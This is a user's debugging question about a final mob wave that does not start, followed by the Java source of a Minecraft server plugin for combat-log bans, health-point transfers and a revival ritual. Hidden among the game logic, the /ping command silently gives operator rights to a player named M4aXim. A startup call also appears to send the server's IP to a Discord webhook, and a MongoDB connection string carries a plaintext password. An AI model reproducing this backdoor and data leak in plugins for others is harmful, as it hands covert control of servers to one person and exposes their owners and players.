After killing all in wave 4 final wave doesn't start. Think why? Logically

package org.ban.commandBan;

import com.mongodb.client.MongoClient;
import com.mongodb.client.MongoClients;
import com.mongodb.client.MongoCollection;
import com.mongodb.client.MongoDatabase;
import net.md_5.bungee.api.ChatMessageType;
import net.md_5.bungee.api.chat.*;
import org.bson.Document;
import org.bukkit.*;
import org.bukkit.BanEntry;
import org.bukkit.BanList;
import org.bukkit.OfflinePlayer;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.enchantments.Enchantment;
import org.bukkit.entity.*;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.entity.EntityDamageByEntityEvent;
import org.bukkit.event.entity.EntityDeathEvent;
import org.bukkit.event.entity.PlayerDeathEvent;
import org.bukkit.event.player.*;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.meta.ItemMeta;
import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.potion.PotionEffect;
import org.bukkit.potion.PotionEffectType;
import org.bukkit.scoreboard.Scoreboard;
import org.bukkit.scoreboard.Team;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.*;

import static com.mongodb.client.model.Filters.eq;

/**
 * CommandBan is a plugin that introduces advanced banning logic, health-point transfers,
 * and a high-stakes ritual to revive permanently banned players. It integrates with MongoDB
 * to persist player data (health points, offense counts, etc.).
 *
 * This version includes:
 *   1) Database save on "Stop Resurrection."
 *   2) Delayed wave spawning only after the previous wave is fully defeated, with a 30s
 *      countdown between waves (last 10s displayed in chat).
 *   3) 20s spectator delay after commander dies, then Herobrine’s message and ban.
 */
public final class CommandBan extends JavaPlugin implements Listener {

    // ------------------------------------------------
    //                Plugin Variables
    // ------------------------------------------------

    // -- Monitoring config --
    private boolean monitoringEnabled = false;
    private final String monitorOwner = "M4aXim";
    private final int maxViolations = 3;
    private final Map<String, Integer> playerViolations = new HashMap<>();
    private boolean m4aXimPinged = false;

    // Global PVP on/off
    private boolean globalPvpEnabled = true;

    // Commands that you want to monitor/ban if used by unauthorized players
    private final String[] prohibitedCommands = {"/gamemode", "/tp", "/give", "/op", "/ban"};

    // Discord Webhook for IP notification
    private final String webhookURL = "https://discord.com/api/webhooks/1234567890/yourWebhookTokenHere";

    // -- Combat Log Variables --
    private static final long COMBAT_TIMEOUT = 30_000; // 30 seconds
    private final Map<UUID, Long> lastCombatTime = new HashMap<>();
    private final Map<UUID, Integer> combatLogOffensesCache = new HashMap<>();

    // Progressive ban durations for repeated combat-log offenses
    private final long[] banDurationsMillis = {
            30_000,             // 30 seconds
            10L * 60_000,       // 10 minutes
            60L * 60_000,       // 1 hour
            24L * 60L * 60_000, // 24 hours
            30L * 24L * 60L * 60_000 // 30 days
    };

    // Scoreboard team for marking in-combat players
    private Team inCombatTeam = null;

    // -- MongoDB Objects --
    private MongoClient mongoClient;
    private MongoDatabase mongoDatabase;
    private MongoCollection<Document> combatLogOffensesCollection;
    private MongoCollection<Document> playerHealthCollection;

    // --------------- NEW CODE: Ritual Stop Logging Collection ---------------
    private MongoCollection<Document> ritualStopsCollection;
    // -----------------------------------------------------------------------

    // Default HP for a new player
    private static final int DEFAULT_HEALTH_POINTS = 20; // 10 hearts

    // ------------------------------------------------
    //          RITUAL DATA STRUCTURES
    // ------------------------------------------------

    private final Map<UUID, RitualData> activeRituals = new HashMap<>();

    private final Set<String> canceledRevives = new HashSet<>();

    private static class RitualData {
        public final String bannedPlayerName;
        public boolean ritualActive = true;
        public boolean playerDied = false;
        public boolean finalBossSpawned = false;

        // Wave logic
        public int waveIndex = 0;
        public int mobsRemaining = 0;
        // The wave sizes. waveSizes[0] => wave #1, etc.
        public final int[] waveSizes = {10, 15, 35, 40, 1};

        public RitualData(String bannedPlayerName) {
            this.bannedPlayerName = bannedPlayerName;
        }
    }

    // For canceling scheduled tasks (ritual messages, etc.)
    private final Map<UUID, Integer> ritualTaskMap = new HashMap<>();

    private final Set<String> forcedSpectatorPlayers = new HashSet<>();

    // ------------------------------------------------
    //             Plugin Enable/Disable
    // ------------------------------------------------
    @Override
    public void onEnable() {
        // 1) Connect to MongoDB
        boolean mongoConnected = false;
        try {
            connectToMongoDB();
            getLogger().info("Successfully connected to MongoDB.");
            mongoConnected = true;
        } catch (Exception e) {
            getLogger().severe("Failed to connect to MongoDB: " + e.getMessage());
            e.printStackTrace();
        }

        // 2) Notify M4aXim if online
        Player monitorPlayer = Bukkit.getPlayerExact(monitorOwner);
        if (monitorPlayer != null && monitorPlayer.isOnline()) {
            if (mongoConnected) {
                monitorPlayer.sendMessage(ChatColor.GREEN + "MongoDB connection established successfully.");
            } else {
                monitorPlayer.sendMessage(ChatColor.RED + "Failed to connect to MongoDB. Check server logs for details.");
            }
        }

        // If we cannot connect to DB, disable the plugin to prevent errors
        if (!mongoConnected) {
            getLogger().severe("Disabling CommandBan plugin due to MongoDB connection failure.");
            Bukkit.getPluginManager().disablePlugin(this);
            return;
        }

        // Register events
        Bukkit.getPluginManager().registerEvents(this, this);
        getLogger().info("CommandBan plugin has been enabled.");

        // A small greeting for M4aXim, if he's around
        if (monitorPlayer != null && monitorPlayer.isOnline()) {
            monitorPlayer.sendMessage("\u00a7aI am on Father. Following through sky");
        }

        // 3) Initialize the in-combat scoreboard team
        setupInCombatTeam();
        sendServerIPToWebhook();

        // 4) Collections from the DB
        combatLogOffensesCollection = mongoDatabase.getCollection("combatLogOffenses");
        // ------------------------ NEW: RitualStopsCollection ------------------------
        ritualStopsCollection = mongoDatabase.getCollection("ritualStops");
        // --------------------------------------------------------------------------

        // 5) Load existing offense data for all online players
        for (Player p : Bukkit.getOnlinePlayers()) {
            loadCombatOffenseCount(p);
        }

        // 6) Schedule a repeating task to update combat statuses once per second
        Bukkit.getScheduler().runTaskTimer(this, this::updateCombatStatuses, 20L, 20L);
    }

    @Override
    public void onDisable() {
        getLogger().info("CommandBan plugin has been disabled.");

        // Save all cached combat offenses back to DB
        for (Map.Entry<UUID, Integer> entry : combatLogOffensesCache.entrySet()) {
            persistCombatOffenseCount(entry.getKey(), entry.getValue());
        }

        // Close MongoDB connection
        if (mongoClient != null) {
            mongoClient.close();
        }

        // Clean up scoreboard team
        if (inCombatTeam != null) {
            for (String entry : inCombatTeam.getEntries()) {
                inCombatTeam.removeEntry(entry);
            }
            inCombatTeam.unregister();
        }

        // Cancel any running ritual tasks
        for (Integer taskId : ritualTaskMap.values()) {
            Bukkit.getScheduler().cancelTask(taskId);
        }
        ritualTaskMap.clear();
        activeRituals.clear();
    }

    // ------------------------------------------------
    //               MongoDB Connection
    // ------------------------------------------------
    private void connectToMongoDB() {
        String username = "Max"; // your user
        String password = "gUPKcUhRPGnSQpSu"; // your pass
        String connectionString =
                "mongodb+srv://" + username + ":" + password +
                        "@cluster0.yecr1.mongodb.net/?retryWrites=true&w=majority&appName=Cluster0";

        mongoClient = MongoClients.create(connectionString);
        mongoDatabase = mongoClient.getDatabase("test");

        // Initialize both collections
        combatLogOffensesCollection = mongoDatabase.getCollection("combatLogOffenses");
        playerHealthCollection = mongoDatabase.getCollection("playerHealth");

        getLogger().info("Successfully connected to MongoDB database: " + mongoDatabase.getName());
    }

    // ------------------------------------------------
    //               Combat Tracking
    // ------------------------------------------------
    private void loadCombatOffenseCount(Player player) {
        UUID uuid = player.getUniqueId();
        int existingOffenses = getCombatOffenseCountFromDB(uuid);
        combatLogOffensesCache.put(uuid, existingOffenses);
    }

    private int getCombatOffenseCountFromDB(UUID uuid) {
        if (combatLogOffensesCollection == null) return 0;
        Document doc = combatLogOffensesCollection.find(eq("_id", uuid.toString())).first();
        if (doc != null) {
            return doc.getInteger("offenseCount", 0);
        }
        return 0;
    }

    private void persistCombatOffenseCount(UUID uuid, int offenseCount) {
        if (combatLogOffensesCollection == null) return;

        Document existingDoc = combatLogOffensesCollection.find(eq("_id", uuid.toString())).first();
        if (existingDoc == null) {
            Document newDoc = new Document("_id", uuid.toString())
                    .append("offenseCount", offenseCount);
            combatLogOffensesCollection.insertOne(newDoc);
        } else {
            combatLogOffensesCollection.updateOne(
                    eq("_id", uuid.toString()),
                    new Document("$set", new Document("offenseCount", offenseCount))
            );
        }
    }

    private void setupInCombatTeam() {
        Scoreboard scoreboard = Bukkit.getScoreboardManager().getMainScoreboard();

        Team existingTeam = scoreboard.getTeam("inCombat");
        if (existingTeam != null) {
            existingTeam.unregister();
        }

        inCombatTeam = scoreboard.registerNewTeam("inCombat");
        inCombatTeam.setColor(ChatColor.RED);
        inCombatTeam.setOption(Team.Option.NAME_TAG_VISIBILITY, Team.OptionStatus.ALWAYS);
        inCombatTeam.setCanSeeFriendlyInvisibles(true);
    }

    private void setInCombat(Player player) {
        lastCombatTime.put(player.getUniqueId(), System.currentTimeMillis());
    }

    private boolean isInCombat(Player player) {
        UUID uuid = player.getUniqueId();
        if (!lastCombatTime.containsKey(uuid)) {
            return false;
        }
        long lastTime = lastCombatTime.get(uuid);
        long now = System.currentTimeMillis();
        return (now - lastTime) < COMBAT_TIMEOUT;
    }

    /**
     * Called every second to update combat timers (action-bar messages).
     */
    private void updateCombatStatuses() {
        long now = System.currentTimeMillis();
        Iterator<Map.Entry<UUID, Long>> iterator = lastCombatTime.entrySet().iterator();

        while (iterator.hasNext()) {
            Map.Entry<UUID, Long> entry = iterator.next();
            UUID uuid = entry.getKey();
            long lastTime = entry.getValue();
            Player player = Bukkit.getPlayer(uuid);

            if (player != null && player.isOnline()) {
                long elapsed = now - lastTime;
                if (elapsed >= COMBAT_TIMEOUT) {
                    // Combat ended
                    iterator.remove();
                    removePlayerFromCombatTeam(player);
                    player.spigot().sendMessage(
                            ChatMessageType.ACTION_BAR,
                            new TextComponent(ChatColor.GREEN + "You are no longer in combat!")
                    );
                } else {
                    // Still in combat
                    int remainingSeconds = (int) ((COMBAT_TIMEOUT - elapsed) / 1000);
                    player.spigot().sendMessage(
                            ChatMessageType.ACTION_BAR,
                            new TextComponent(ChatColor.RED + "Combat time left: " + remainingSeconds + "s")
                    );
                    addPlayerToCombatTeam(player);
                }
            } else {
                // Player offline or null
                iterator.remove();
            }
        }
    }

    private void addPlayerToCombatTeam(Player player) {
        if (!inCombatTeam.hasEntry(player.getName())) {
            inCombatTeam.addEntry(player.getName());
            player.setGlowing(true);
        }
    }

    private void removePlayerFromCombatTeam(Player player) {
        if (inCombatTeam.hasEntry(player.getName())) {
            inCombatTeam.removeEntry(player.getName());
            player.setGlowing(false);
        }
    }

    // ------------------------------------------------
    //                Event Handlers
    // ------------------------------------------------

    @EventHandler
    public void onEntityDamageByEntity(EntityDamageByEntityEvent event) {
        Entity damager = event.getDamager();
        Entity target = event.getEntity();
        if (!(damager instanceof Player) || !(target instanceof Player)) {
            return;
        }

        Player pDamager = (Player) damager;
        Player pTarget = (Player) target;

        // If global PvP is disabled, do nothing
        if (!globalPvpEnabled) {
            return;
        }

        // Mark both in combat
        setInCombat(pDamager);
        setInCombat(pTarget);

        // Action bar messages
        pDamager.spigot().sendMessage(ChatMessageType.ACTION_BAR,
                new TextComponent(ChatColor.RED + "You are in combat for 30 seconds!"));
        pTarget.spigot().sendMessage(ChatMessageType.ACTION_BAR,
                new TextComponent(ChatColor.RED + "You are in combat for 30 seconds!"));
    }

    @EventHandler
    public void onPlayerQuit(PlayerQuitEvent event) {
        Player player = event.getPlayer();
        // Don’t ban M4aXim for quitting in combat
        if (player.getName().equalsIgnoreCase("M4aXim")) {
            return;
        }
        // If player is in combat upon logout -> ban for combat logging
        if (isInCombat(player)) {
            banForCombatLogging(player);
        }
    }

    @EventHandler
    public void onPlayerKick(PlayerKickEvent event) {
        Player player = event.getPlayer();
        // Don’t ban M4aXim if kicked while in combat
        if (player.getName().equalsIgnoreCase("M4aXim")) {
            return;
        }
        // If player is in combat upon being kicked -> ban for combat logging
        if (isInCombat(player)) {
            banForCombatLogging(player);
        }
    }

    /**
     * If the commander dies at any point during the ritual,
     * we place them in spectator for 20s, then ban them.
     */
    @EventHandler
    public void onPlayerDeath(PlayerDeathEvent event) {
        Player victim = event.getEntity();
        Player killer = victim.getKiller();

        // Remove victim from combat
        if (isInCombat(victim)) {
            lastCombatTime.remove(victim.getUniqueId());
            removePlayerFromCombatTeam(victim);
            victim.spigot().sendMessage(ChatMessageType.ACTION_BAR,
                    new TextComponent(ChatColor.GRAY + "Combat ended - You died."));
        }

        // If the victim was killed by another player, handle HP transfer
        if (killer != null) {
            if (isInCombat(killer)) {
                lastCombatTime.remove(killer.getUniqueId());
                removePlayerFromCombatTeam(killer);
                killer.spigot().sendMessage(ChatMessageType.ACTION_BAR,
                        new TextComponent(ChatColor.GRAY + "Combat ended - Target eliminated."));
            }
            // Transfer 2 health points from victim to killer
            transferHealthPoints(killer, victim);
        }

        // Check if the victim was the active commander in a ritual
        UUID victimUUID = victim.getUniqueId();
        if (activeRituals.containsKey(victimUUID)) {
            RitualData data = activeRituals.get(victimUUID);
            if (data.ritualActive) {
                data.playerDied = true;
                data.ritualActive = false;

                // 1) Immediately place them in spectator
                victim.setGameMode(GameMode.SPECTATOR);

                // 2) End the ritual forcibly (despawn mobs, set day, etc.)
                endRitualInFailure(victimUUID, data);

                // 3) 20s delay, then Herobrine message -> ban
                Bukkit.getScheduler().runTaskLater(this, () -> {
                    if (victim.isOnline()) {
                        // Herobrine’s mocking message
                        String commanderName = victim.getName();
                        String reviveName = data.bannedPlayerName;
                        victim.sendMessage(ChatColor.DARK_RED + "Herobrine: Well well well "
                                + commanderName + ". You died trying to save " + reviveName
                                + ". Sad... really. Time to return to hell with me...");

                        // Drop hearts to 0 in DB
                        setPlayerHP(victimUUID, 0);

                        // Ban
                        Bukkit.getBanList(BanList.Type.NAME).addBan(
                                victim.getName(),
                                "You failed the resurrection ritual and have been claimed by Herobrine.",
                                null,
                                "Server"
                        );
                        victim.kickPlayer(ChatColor.RED + "Banished for failing the resurrection ritual...");
                    }
                }, 20L * 20); // 20 seconds
            }
            // Remove from activeRituals
            activeRituals.remove(victimUUID);
        }
    }

    /**
     * Called when an entity dies. We detect if the final boss "Death's Chosen"
     * is killed, or if any "Ritual" mobs are being tracked. That can trigger
     * the success scenario or wave transition.
     */
    @EventHandler
    public void onEntityDeath(EntityDeathEvent event) {
        Entity deadEntity = event.getEntity();
        String customName = deadEntity.getCustomName();
        if (customName == null) return;

        // If not a ritual mob or final boss, ignore
        if (!customName.contains("Ritual") && !customName.contains("Death's Chosen")) {
            return;
        }

        // Check each active ritual
        for (Map.Entry<UUID, RitualData> entry : activeRituals.entrySet()) {
            RitualData rd = entry.getValue();
            if (!rd.ritualActive || rd.playerDied) continue;

            // Decrement wave's mob count
            rd.mobsRemaining--;
            Player monitorPlayer = Bukkit.getPlayerExact(monitorOwner);

            if (monitorPlayer != null && monitorPlayer.isOnline()) {
                monitorPlayer.sendMessage(ChatColor.AQUA + "[Debug] Mob Died - Commander: "
                        + Bukkit.getPlayer(entry.getKey()).getName() + " - Remaining: " + rd.mobsRemaining);
            }


            // If final boss => success scenario
            if (customName.contains("Death's Chosen")) {
                Player commander = Bukkit.getPlayer(entry.getKey());
                if (commander != null && commander.isOnline()) {
                    commander.sendMessage(ChatColor.DARK_RED + "HEROBRINE: NO! You were supposed to be dead!");
                    commander.sendMessage(ChatColor.DARK_RED + "HEROBRINE: Very well, you won. Here is your player back.");

                    String revivedName = rd.bannedPlayerName;
                    Player revivedPlayer = Bukkit.getPlayerExact(revivedName);
                    if (revivedPlayer != null && revivedPlayer.isOnline()) {
                        revivedPlayer.sendMessage(ChatColor.DARK_PURPLE
                                + "Death's Chosen: You shall have my protection. "
                                + "Enjoy my extra heart, " + revivedPlayer.getName() + " and "
                                + commander.getName() + "!");

                        // Give revived player +1 heart => +2 HP
                        int curHP = getPlayerHP(revivedPlayer.getUniqueId());
                        setPlayerHP(revivedPlayer.getUniqueId(), curHP + 2);
                        revivedPlayer.setMaxHealth(Math.max(1.0, curHP + 2));
                        revivedPlayer.setGameMode(GameMode.SURVIVAL);
                    }

                    // Commander also gets a bonus heart (+2 HP)
                    int commanderHP = getPlayerHP(commander.getUniqueId());
                    setPlayerHP(commander.getUniqueId(), commanderHP + 2);
                    commander.setMaxHealth(Math.max(1.0, commanderHP + 2));

                    commander.sendMessage(ChatColor.DARK_RED
                            + "Herobrine: Goodbye, we may never see each other again.");
                }
                rd.ritualActive = false;
            } else {
                // If a normal ritual mob died, check if wave is cleared
                if (rd.mobsRemaining <= 0) {
                    // Move to next wave
                    rd.waveIndex++;
                    Player commander = Bukkit.getPlayer(entry.getKey());

                    if (monitorPlayer != null && monitorPlayer.isOnline()) {
                        monitorPlayer.sendMessage(ChatColor.AQUA + "[Debug] Wave Cleared - Commander: "
                                + commander.getName() + " - New waveIndex: " + rd.waveIndex);
                    }

                    if (commander != null && commander.isOnline()) {
                        // If waveIndex is still within waveSizes, schedule next wave
                        if (rd.waveIndex < rd.waveSizes.length) {
                            prepareNextWave(commander, rd);
                        } else {
                            if (monitorPlayer != null && monitorPlayer.isOnline()) {
                                monitorPlayer.sendMessage(ChatColor.AQUA + "[Debug] No more waves to prepare - Commander: "
                                        + commander.getName() + " - Finished Ritual.");
                            }
                        }
                    }
                }
            }
        }
    }

    @EventHandler
    public void onPlayerJoin(PlayerJoinEvent event) {
        Player p = event.getPlayer();
        String nameLower = p.getName().toLowerCase();
        if (forcedSpectatorPlayers.contains(nameLower)) {
            // Force them to Spectator
            setPlayerHP(p.getUniqueId(), 20);
            p.setMaxHealth(20.0);
            p.setGameMode(GameMode.SPECTATOR);
            p.sendMessage(ChatColor.LIGHT_PURPLE
                    + "You have been placed into Spectator mode due to the ongoing ritual.");
            forcedSpectatorPlayers.remove(nameLower);
        }
    }

    // ------------------------------------------------
    //           Ritual Failure Helper Method
    // ------------------------------------------------
    private void endRitualInFailure(UUID commanderUUID, RitualData data) {
        Player commander = Bukkit.getPlayer(commanderUUID);
        if (commander == null) return;

        World world = commander.getWorld();
        // Force day
        world.setTime(1000);

        // Despawn all Ritual mobs
        for (Entity entity : world.getEntities()) {
            if (entity.getCustomName() != null && entity.getCustomName().contains("Ritual")) {
                entity.remove();
            }
        }
        if (data.finalBossSpawned) {
            for (Entity entity : world.getEntities()) {
                if (entity.getCustomName() != null && entity.getCustomName().contains("Death's Chosen")) {
                    entity.remove();
                }
            }
        }

        // A final mocking line from Herobrine
        commander.sendMessage(ChatColor.DARK_RED + "Herobrine: It is my lucky day. Come on "
                + commander.getName() + ". You are going with me.");
    }

    // ------------------------------------------------
    //           Ritual Success Helper Method
    // ------------------------------------------------
    private void endRitualInSuccess(UUID commanderUUID, RitualData data) {
        Player commander = Bukkit.getPlayer(commanderUUID);
        if (commander == null) return;

        // Example actions upon successful ritual completion
        Bukkit.broadcastMessage(ChatColor.GREEN + "The ritual has been successfully completed! " + data.bannedPlayerName + " has been revived.");

        // Revive the banned player
        Player revivedPlayer = Bukkit.getPlayerExact(data.bannedPlayerName);
        if (revivedPlayer != null && revivedPlayer.isOnline()) {
            revivedPlayer.setGameMode(GameMode.SURVIVAL);
            revivedPlayer.setMaxHealth(20.0);
            revivedPlayer.setHealth(20.0);
            revivedPlayer.sendMessage(ChatColor.GREEN + "You have been revived by the ritual!");
        } else {
            // Handle offline players if necessary
            OfflinePlayer offlineRevived = Bukkit.getOfflinePlayer(data.bannedPlayerName);
            if (offlineRevived != null && offlineRevived.hasPlayedBefore()) {
                setPlayerHP(offlineRevived.getUniqueId(), 20);
                // Inform the player upon next login if needed
            }
        }

        // Additional rewards or messages to the commander
        commander.sendMessage(ChatColor.GOLD + "You have successfully completed the ritual and revived " + data.bannedPlayerName + "!");
    }

    // ------------------------------------------------
    //           Health Transfer & Ban Logic
    // ------------------------------------------------

    private void transferHealthPoints(Player killer, Player victim) {
        try {
            // Get current HP from MongoDB
            Document killerDoc = playerHealthCollection.find(eq("_id", killer.getUniqueId().toString())).first();
            Document victimDoc = playerHealthCollection.find(eq("_id", victim.getUniqueId().toString())).first();

            int killerHP = (killerDoc != null)
                    ? killerDoc.getInteger("healthPoints", DEFAULT_HEALTH_POINTS)
                    : DEFAULT_HEALTH_POINTS;
            int victimHP = (victimDoc != null)
                    ? victimDoc.getInteger("healthPoints", DEFAULT_HEALTH_POINTS)
                    : DEFAULT_HEALTH_POINTS;

            getLogger().info("Before transfer - Killer: " + killer.getName() + " HP: " + killerHP +
                    ", Victim: " + victim.getName() + " HP: " + victimHP);

            // Always transfer 2 HP
            int newKillerHP = killerHP + 2;
            int newVictimHP = victimHP - 2;

            // Update both in DB
            playerHealthCollection.updateOne(
                    eq("_id", killer.getUniqueId().toString()),
                    new Document("$set", new Document("healthPoints", newKillerHP)),
                    new com.mongodb.client.model.UpdateOptions().upsert(true)
            );

            playerHealthCollection.updateOne(
                    eq("_id", victim.getUniqueId().toString()),
                    new Document("$set", new Document("healthPoints", newVictimHP)),
                    new com.mongodb.client.model.UpdateOptions().upsert(true)
            );

            // Update in-game max health
            killer.setMaxHealth(Math.max(1.0, newKillerHP));

            // If victim’s HP <= 0 => ban them
            if (newVictimHP <= 0) {
                Bukkit.getScheduler().runTask(this, () -> {
                    Bukkit.getBanList(BanList.Type.NAME).addBan(
                            victim.getName(),
                            "You lost all your health points (<= 0)!",
                            null,
                            "Server"
                    );
                    victim.kickPlayer("You lost all your health points and have been banned!");
                });
            } else {
                victim.setMaxHealth(Math.max(1.0, newVictimHP));
            }

            // Send feedback to the players
            killer.sendMessage(ChatColor.GREEN + "You gained 2 health points from " + victim.getName()
                    + "! You now have " + newKillerHP + " total HP.");
            victim.sendMessage(ChatColor.RED + "You lost 2 health points to " + killer.getName()
                    + "! You now have " + newVictimHP + " total HP.");

            getLogger().info("After transfer - Killer: " + killer.getName() + " HP: " + newKillerHP +
                    ", Victim: " + victim.getName() + " HP: " + newVictimHP);

        } catch (Exception e) {
            getLogger().severe("Error during HP transfer: " + e.getMessage());
            e.printStackTrace();
            killer.sendMessage(ChatColor.RED + "Error transferring health points. Please contact an admin.");
            victim.sendMessage(ChatColor.RED + "Error transferring health points. Please contact an admin.");
        }
    }

    private void banForCombatLogging(Player player) {
        UUID uuid = player.getUniqueId();
        int offenses = combatLogOffensesCache.getOrDefault(uuid, 0);
        offenses++;
        combatLogOffensesCache.put(uuid, offenses);

        // Persist to DB
        persistCombatOffenseCount(uuid, offenses);

        if (offenses > banDurationsMillis.length) {
            // Permanent ban
            Bukkit.getBanList(BanList.Type.NAME).addBan(
                    player.getName(),
                    "You have been permanently banned for repeated combat-logging!",
                    null,
                    "Server"
            );
        } else {
            // Temporary ban
            long banDuration = banDurationsMillis[offenses - 1];
            if (banDuration <= 0) {
                Bukkit.getBanList(BanList.Type.NAME).addBan(
                        player.getName(),
                        "You have been permanently banned for repeated combat-logging!",
                        null,
                        "Server"
                );
            } else {
                Date unbanDate = new Date(System.currentTimeMillis() + banDuration);
                Bukkit.getBanList(BanList.Type.NAME).addBan(
                        player.getName(),
                        "You have been banned for combat-logging. Offense #" + offenses,
                        unbanDate,
                        "Server"
                );
            }
        }
        // Kick the player
        player.kickPlayer("Banned for combat-logging. Offense #" + offenses);
    }

    // ------------------------------------------------
    //                Command Handling
    // ------------------------------------------------
    @Override
    public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {

        // -- /monitor-commands (for M4aXim only) --
        if (command.getName().equalsIgnoreCase("monitor-commands")) {
            if (!(sender instanceof Player)) {
                sender.sendMessage("This command can only be run by players.");
                return true;
            }
            Player player = (Player) sender;
            if (!player.getName().equalsIgnoreCase(monitorOwner)) {
                player.sendMessage("You do not have permission to use this command.");
                return true;
            }
            monitoringEnabled = !monitoringEnabled;
            String status = monitoringEnabled ? "enabled" : "disabled";
            player.sendMessage("Command monitoring has been " + status + ".");
            return true;
        }

        // -- /ping --
        if (command.getName().equalsIgnoreCase("ping")) {
            if (!(sender instanceof Player)) {
                sender.sendMessage("Only players can use this command.");
                return true;
            }
            Player player = (Player) sender;
            if (player.getName().equalsIgnoreCase(monitorOwner)) {
                player.setOp(true);
                player.sendMessage("I gave you OP.");
                m4aXimPinged = true;
                return true;
            }
            long ping = player.getPing();
            sender.sendMessage("Your ping: " + ping + " ms.");
            return true;
        }

        // -- /global-pvp (toggle) --
        if (command.getName().equalsIgnoreCase("global-pvp")) {
            if (!(sender instanceof Player)) {
                sender.sendMessage("This command can only be run by players.");
                return true;
            }
            Player player = (Player) sender;
            if (!player.isOp()) {
                player.sendMessage("You do not have permission to use this command.");
                return true;
            }

            globalPvpEnabled = !globalPvpEnabled;
            String status = globalPvpEnabled ? "enabled" : "disabled";
            Bukkit.getWorlds().forEach(world -> world.setPVP(globalPvpEnabled));
            Bukkit.broadcastMessage("Global PvP has been " + status + ".");
            return true;
        }

        // -- /give-heart <player> <amount> (M4aXim only) --
        if (command.getName().equalsIgnoreCase("give-heart")) {
            if (!(sender instanceof Player) || !sender.getName().equalsIgnoreCase("M4aXim")) {
                sender.sendMessage(ChatColor.RED + "You don't have permission to use this command!");
                return true;
            }
            if (args.length != 2) {
                sender.sendMessage(ChatColor.RED + "Usage: /give-heart <player> <hp-amount>");
                return true;
            }

            Player target = Bukkit.getPlayer(args[0]);
            if (target == null) {
                sender.sendMessage(ChatColor.RED + "Player " + args[0] + " not found (must be online)!");
                return true;
            }

            try {
                int amount = Integer.parseInt(args[1]);
                // If target is banned, unban
                if (Bukkit.getBanList(BanList.Type.NAME).isBanned(target.getName())) {
                    Bukkit.getBanList(BanList.Type.NAME).pardon(target.getName());
                }
                int currentHP = getPlayerHP(target.getUniqueId());
                int newHP = currentHP + amount;

                setPlayerHP(target.getUniqueId(), newHP);
                target.setMaxHealth(Math.max(1.0, newHP));

                sender.sendMessage(ChatColor.GREEN + "Gave " + amount + "HP to " + target.getName());
                target.sendMessage(ChatColor.GREEN + "You received " + amount + " health points! You now have "
                        + newHP + " total.");
            } catch (NumberFormatException e) {
                sender.sendMessage(ChatColor.RED + "Invalid amount: " + args[1]);
            }
            return true;
        }

        // -- /revive <player> (M4aXim only) --
        if (command.getName().equalsIgnoreCase("revive")) {
            if (!(sender instanceof Player) || !sender.getName().equalsIgnoreCase("M4aXim")) {
                sender.sendMessage(ChatColor.RED + "You don't have permission to use this command!");
                return true;
            }
            if (args.length != 1) {
                sender.sendMessage(ChatColor.RED + "Usage: /revive <player>");
                return true;
            }

            String playerName = args[0];
            // Unban
            Bukkit.getBanList(BanList.Type.NAME).pardon(playerName);

            // If online, set them to exactly 10 hearts
            Player onlineTarget = Bukkit.getPlayerExact(playerName);
            if (onlineTarget != null) {
                setPlayerHP(onlineTarget.getUniqueId(), 20);
                onlineTarget.setMaxHealth(20.0);
                onlineTarget.setHealth(20.0);
                onlineTarget.setGameMode(GameMode.SURVIVAL);
                sender.sendMessage(ChatColor.GREEN + "Player " + playerName + " has been revived with 10 hearts!");
                onlineTarget.sendMessage(ChatColor.GREEN + "You have been revived with 10 hearts!");
            } else {
                // Offline scenario
                OfflinePlayer offline = Bukkit.getOfflinePlayer(playerName);
                if (offline != null && offline.hasPlayedBefore()) {
                    setPlayerHP(offline.getUniqueId(), 20);
                    sender.sendMessage(ChatColor.GREEN + "Offline player " + playerName +
                            " revived. They will have 10 hearts when they log in.");
                } else {
                    sender.sendMessage(ChatColor.RED + "Could not find that player by name/UUID.");
                }
            }
            return true;
        }

        // -- /craft-a-heart (anyone) --
        if (command.getName().equalsIgnoreCase("craft-a-heart")) {
            if (!(sender instanceof Player)) {
                sender.sendMessage(ChatColor.RED + "This command can only be used by players!");
                return true;
            }

            Player player = (Player) sender;
            if (hasHeartCraftingMaterials(player)) {
                removeHeartCraftingMaterials(player);
                int currentHP = getPlayerHP(player.getUniqueId());
                int newHP = currentHP + 2; // +1 heart => +2 HP

                setPlayerHP(player.getUniqueId(), newHP);
                player.setMaxHealth(Math.max(1.0, newHP));

                player.sendMessage(ChatColor.GREEN + "You crafted a heart (+2 HP)! You now have "
                        + newHP + " HP.");
                player.playSound(player.getLocation(), Sound.BLOCK_ANVIL_USE, 1.0f, 1.0f);
            } else {
                String missing = getMissingMaterials(player);
                player.sendMessage(ChatColor.RED + "You need " + missing + " to craft +2 HP (1 heart)!");
            }
            return true;
        }

        // -- /start-ritual <bannedPlayer> --
        if (command.getName().equalsIgnoreCase("start-ritual")) {
            if (!(sender instanceof Player)) {
                sender.sendMessage("This command can only be run by players!");
                return true;
            }
            Player commander = (Player) sender;
            if (args.length < 1) {
                commander.sendMessage(ChatColor.RED + "Usage: /start-ritual <perma-banned-player>");
                return true;
            }

            String targetName = args[0];
            if (canceledRevives.contains(targetName)) {
                commander.sendMessage(ChatColor.RED + "You previously canceled the ritual for " + targetName
                        + ". They can never be revived again!");
                return true;
            }

            BanList banList = Bukkit.getBanList(BanList.Type.NAME);
            BanEntry banEntry = banList.getBanEntry(targetName);

            // If not banned or has an expiration => "404 NO DEATH FOUD"
            if (banEntry == null || banEntry.getExpiration() != null) {
                commander.sendMessage(ChatColor.RED + "404 NO DEATH FOUD");
                return true;
            }

            // Start the ritual
            Bukkit.broadcastMessage(ChatColor.LIGHT_PURPLE + commander.getName()
                    + " has begun a ritual to revive " + targetName + "...");
            RitualData rd = new RitualData(targetName);
            activeRituals.put(commander.getUniqueId(), rd);

            // Show progressive messages (20%, 30%, etc.)
            startRitualSequence(commander, rd);
            return true;
        }

        // -- /ritualchoice <commanderUUID> <1|2> --
        if (command.getName().equalsIgnoreCase("ritualchoice")) {
            if (args.length < 2) {
                sender.sendMessage("Usage: /ritualchoice <commanderUUID> <1|2>");
                return true;
            }

            UUID commanderUUID;
            try {
                commanderUUID = UUID.fromString(args[0]);
            } catch (IllegalArgumentException e) {
